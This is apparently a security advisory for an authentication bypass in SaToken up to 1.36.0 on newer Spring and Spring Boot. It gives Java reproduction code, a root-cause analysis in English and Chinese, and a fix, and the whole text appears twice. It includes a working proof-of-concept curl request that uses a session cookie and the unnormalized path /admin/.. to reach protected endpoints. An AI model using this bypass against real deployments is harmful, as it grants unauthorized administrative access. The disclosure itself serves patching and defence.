affected version:
SaToken version <= 1.36.0
and (SpringBoot version >= 2.3.1.RELEASE or Spring version >= 5.3.0)
fixed version:
version = 1.37.0
description
When SaToken version <= 1.36.0, together with SpringBoot version >= 2.3.1.RELEASE or Spring version >= 5.3.0, a specially crafted HTTP request may cause an authentication bypass. The authentication bypass occurs when SaToken and Spring Boot/Spring are using different pattern-matching techniques. Update to SaToken 1.37.0 or set the following Spring Boot configuration value: spring.mvc.pathmatch.matching-strategy = ant_path_matcher
复现步骤:
First register the user, the permission is:user
(首先,注册用户,权限是user)
@Component
public class StpInterfaceImpl implements StpInterface {
@Override
public List<String> getPermissionList(Object loginId, String loginType) {
List<String> list = new ArrayList<String>();
list.add("user");
return list;
}
}
Register an interceptor whose interception address is:/admin/**,Need permission:admin
(注册一个拦截器,地址是/admin/**,需要权限admin)
@Configuration
public class SaTokenConfigure implements WebMvcConfigurer {
@Override
public void addInterceptors(InterceptorRegistry registry) {
registry.addInterceptor(new SaInterceptor(handler -> {
SaRouter
.match("/**")
.notMatch("/user/doLogin")
.check(r -> StpUtil.checkLogin());
SaRouter.match("/admin/**", r -> StpUtil.checkPermission("admin"));
})).addPathPatterns("/**");
}
}
Then write a login interface, an admin interface, the interface address is:/admin/**
(然后写一个登录接口,一个admin接口,admin接口地址是/admin/**)
@RestController
public class UserController {
// Test login, browser access: http://localhost:8081/user/doLogin?username=zhang&password=123456
@RequestMapping("/user/doLogin")
public String doLogin(String username, String password) {
if("zhang".equals(username) && "123456".equals(password)) {
StpUtil.login(10001);
return "success";
}
return "fail";
}
@RequestMapping("/admin/**")
public String getPassword() {
return "flag{m4ra7h0n}";
}
}
Login first(http://localhost:8081/user/doLogin?username=zhang&password=123456)
(首先登录)

Then access: /admin/.. without url normalizing
(然后访问/admin/..,使用url未被curl/浏览器标准化的访问方式)
curl -H "Cookie: satoken=42ae3a64-974e-4e6e-8a9a-6a9e41c83396" --path-as-is http://localhost:8081/admin/..
root cause
其根本原因在于SaRequestForServlet.getRequestPath()函数使用HttpServletRequest.getServletPath()获取标准化的servlet path,处理了跨目录。
而Spring与SpringBoot情况如下(未处理跨目录):
1.SpringBoot版本>=2.3.1.RELEASE时org.springframework.web.servlet.mvc.method.RequestMappingInfo#getMatchingCondition()中使用PatternsCondition.getMatchingCondition()获取匹配的路径,其内部PathHelper.getLookupPathForRequest()函数查找映射时alwaysUseFullPath=true(这里是SpringBoot自动装配配置的,版本<=2.3.0.RELEASE时使用spring中默认的false),其使用getPathWithinApplication()查找url,未处理跨目录,而此时Spring版本<5.3.0
2.当Spring版本>=5.3.0时Url匹配模式直接从PatternsCondition.getMatchingCondition();转变成了PathPatternsRequestCondition.getMatchingCondition(),这会导致其使用ServletRequestPathUtils.getParsedRequestPath(request).pathWithinApplication();查找url,同样未处理跨目录。
Springboot版本>=2.3.1.RELEASE时引发的路径绕过可参考http://rui0.cn/archives/1643
spring5.3.0版本更新文档可参考https://spring.io/blog/2020/06/30/url-matching-with-pathpattern-in-spring-mvc
此漏洞可参考CVE-2023-22602
修复参考apache/shiro@e167a71
affected version:
SaToken version <= 1.36.0
and (SpringBoot version >= 2.3.1.RELEASE or Spring version >= 5.3.0)
fixed version:
version = 1.37.0
description
When SaToken version <= 1.36.0, together with SpringBoot version >= 2.3.1.RELEASE or Spring version >= 5.3.0, a specially crafted HTTP request may cause an authentication bypass. The authentication bypass occurs when SaToken and Spring Boot/Spring are using different pattern-matching techniques. Update to SaToken 1.37.0 or set the following Spring Boot configuration value:
spring.mvc.pathmatch.matching-strategy = ant_path_matcher复现步骤:
First register the user, the permission is:
user(首先,注册用户,权限是user)
Register an interceptor whose interception address is:
/admin/**,Need permission:admin(注册一个拦截器,地址是
/admin/**,需要权限admin)Then write a login interface, an admin interface, the interface address is:
/admin/**(然后写一个登录接口,一个admin接口,admin接口地址是
/admin/**)Login first(

http://localhost:8081/user/doLogin?username=zhang&password=123456)(首先登录)
Then access:
/admin/..without url normalizing(然后访问
/admin/..,使用url未被curl/浏览器标准化的访问方式)curl -H "Cookie: satoken=42ae3a64-974e-4e6e-8a9a-6a9e41c83396" --path-as-is http://localhost:8081/admin/..root cause
其根本原因在于
SaRequestForServlet.getRequestPath()函数使用HttpServletRequest.getServletPath()获取标准化的servlet path,处理了跨目录。而Spring与SpringBoot情况如下(未处理跨目录):
1.SpringBoot版本>=2.3.1.RELEASE时
org.springframework.web.servlet.mvc.method.RequestMappingInfo#getMatchingCondition()中使用PatternsCondition.getMatchingCondition()获取匹配的路径,其内部PathHelper.getLookupPathForRequest()函数查找映射时alwaysUseFullPath=true(这里是SpringBoot自动装配配置的,版本<=2.3.0.RELEASE时使用spring中默认的false),其使用getPathWithinApplication()查找url,未处理跨目录,而此时Spring版本<5.3.02.当Spring版本>=5.3.0时Url匹配模式直接从
PatternsCondition.getMatchingCondition();转变成了PathPatternsRequestCondition.getMatchingCondition(),这会导致其使用ServletRequestPathUtils.getParsedRequestPath(request).pathWithinApplication();查找url,同样未处理跨目录。Springboot版本>=2.3.1.RELEASE时引发的路径绕过可参考http://rui0.cn/archives/1643
spring5.3.0版本更新文档可参考https://spring.io/blog/2020/06/30/url-matching-with-pathpattern-in-spring-mvc
此漏洞可参考CVE-2023-22602
修复参考apache/shiro@e167a71